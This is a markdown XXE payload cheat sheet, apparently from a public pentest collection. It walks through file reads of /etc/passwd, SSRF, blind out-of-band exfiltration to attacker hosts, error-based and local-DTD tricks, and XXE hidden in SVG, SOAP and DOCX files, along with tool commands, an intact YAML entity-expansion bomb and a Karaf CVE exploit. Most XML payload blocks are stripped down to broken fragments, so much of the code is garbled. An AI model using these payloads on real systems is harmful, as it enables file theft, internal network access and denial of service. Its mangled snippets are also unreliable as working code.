# XML External Entity > An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server. **Internal Entity**: If an entity is declared within a DTD it is called as internal entity. Syntax: `` **External Entity**: If an entity is declared outside a DTD it is called as external entity. Identified by `SYSTEM`. Syntax: `` ## Summary - [Tools](#tools) - [Detect the vulnerability](#detect-the-vulnerability) - [Exploiting XXE to retrieve files](#exploiting-xxe-to-retrieve-files) - [Classic XXE](#classic-xxe) - [Classic XXE Base64 encoded](#classic-xxe-base64-encoded) - [PHP Wrapper inside XXE](#php-wrapper-inside-xxe) - [XInclude attacks](#xinclude-attacks) - [Exploiting XXE to perform SSRF attacks](#exploiting-xxe-to-perform-SSRF-attacks) - [Exploiting XXE to perform a deny of service](#exploiting-xxe-to-perform-a-deny-of-service) - [Billion Laugh Attack](#billion-laugh-attack) - [Error Based XXE](#error-based-xxe) - [Exploiting blind XXE to exfiltrate data out-of-band](#exploiting-blind-xxe-to-exfiltrate-data-out-of-band) - [Blind XXE](#blind-xxe) - [XXE OOB Attack (Yunusov, 2013)](#xxe-oob-attack-yusonov---2013) - [XXE OOB with DTD and PHP filter](#xxe-oob-with-dtd-and-php-filter) - [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf) - [XXE in exotic files](#xxe-in-exotic-files) - [XXE inside SVG](#xxe-inside-svg) - [XXE inside SOAP](#xxe-inside-soap) - [XXE inside DOCX file](#xxe-inside-docx-file) ## Tools - [xxeftp](https://github.com/staaldraad/xxeserv) ``` sudo ./xxeftp -uno 443 ./xxeftp -w -wps 5555 ``` - [230-OOB](https://github.com/lc/230-OOB) and payload generation via [http://xxe.sh/](http://xxe.sh/) ``` $ python3 230.py 2121 ``` ## Detect the vulnerability Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element. ```xml ]> John &example; ``` It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server. ## Exploiting XXE to retrieve files ### Classic XXE We try to display the content of the file `/etc/passwd` ```xml ]>&test; ``` ```xml ]> &file; ``` ```xml ]>&xxe; ``` ```xml ]>&xxe; ``` :warning: `SYSTEM` and `PUBLIC` are almost synonym. ```xml ]>&xxe; ``` ### Classic XXE Base64 encoded ```xml %init; ]> ``` ### PHP Wrapper inside XXE ```xml ]> Jean &xxe; Dupont 00 11 22 33 44 42 rue du CTF 75000 Paris ``` ```xml ]> &xxe; ``` ### XInclude attacks When you can't modify the **DOCTYPE** element use the **XInclude** to target ```xml ``` ## Exploiting XXE to perform SSRF attacks XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network. ```xml ]> &xxe; ``` ## Exploiting XXE to perform a deny of service :warning: : These attacks might kill the service or the server, do not use them on the production. ### Billion Laugh Attack ```xml ]> &a4; ``` ### Yaml attack ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` ## Error Based XXE **Payload to trigger the XXE** ```xml %ext; ]> ``` **Contents of ext.dtd** ```xml "> %eval; %error; ``` ## Exploiting blind XXE to exfiltrate data out-of-band Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack. ### Blind XXE The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator. ```xml %ext; ]> ``` Send the content of `/etc/passwd` to "www.malicious.com", you may receive only the first line. ```xml ] > &callhome; ``` ### XXE OOB Attack (Yunusov, 2013) ```xml &send; File stored on http://publicServer.com/parameterEntity_oob.dtd "> %all; ``` ### XXE OOB with DTD and PHP filter ```xml %sp; %param1; ]> &exfil; File stored on http://127.0.0.1/dtd.xml "> ``` ### XXE OOB with Apache Karaf CVE-2018-11788 affecting versions: - Apache Karaf <= 4.2.1 - Apache Karaf <= 4.1.6 ```xml %dtd;] ``` Send the XML file to the `deploy` folder. Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788) ## XXE with local DTD In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this: ```xml ]> &test; ``` If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename. ```xml %local_dtd; ]> ``` Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message. ```xml "> %eval; %error; '> %local_dtd; ]> ``` [Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md) ## XXE in exotic files ### XXE inside SVG ```xml ``` ``` ]> &xxe; ``` ### XXE inside SOAP ```xml %dtd;]>]]> ``` ### XXE inside DOCX file Format of an Open XML file (inject the payload in any .xml file): - /_rels/.rels - [Content_Types].xml - Default Main Document Part - /word/document.xml - /ppt/presentation.xml - /xl/workbook.xml Then update the file `zip -u xxe.docx [Content_Types].xml` Tool : https://github.com/BuffaloWill/oxml_xxe ```xml DOCX/XLSX/PPTX ODT/ODG/ODP/ODS SVG XML PDF (experimental) JPG (experimental) GIF (experimental) ``` ## References * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) * [Detecting and exploiting XXE in SAML Interfaces - Von Christian Mainka](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) * [staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4) * [mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) * [Exploiting xxe in file upload functionality - BLACKHAT WEBCAST - 11/19/15 - Will Vandevanter - @_will_is_](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) * [XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)](http://en.hackdig.com/08/28075.htm) * [Understanding Xxe From Basic To Blind - 10/11/2018 - Utkarsh Agrawal](http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html) * [From blind XXE to root-level file read access - December 12, 2018 by Pieter Hiele](https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/) * [How we got read access on Google’s production servers](https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/) by detectify * [Blind OOB XXE At UBER 26+ Domains Hacked](http://nerdint.blogspot.hk/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html) by Raghav Bisht * [XXE through SAML](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf) * [XXE in Uber to read local files](https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html) * [XXE by SVG in community.lithium.com](http://esoln.net/Research/2017/03/30/xxe-in-lithium-community-platform/) * [XXE inside SVG](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) * [Pentest XXE - @phonexicum](https://phonexicum.github.io/infosec/xxe.html) * [Exploiting XXE with local DTD files - Arseniy Sharoglazov - 12/12/2018](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) * [Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd](https://portswigger.net/web-security/xxe) - [Automating local DTD discovery for XXE exploitation - July 16 2019 by Philippe Arteau](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation)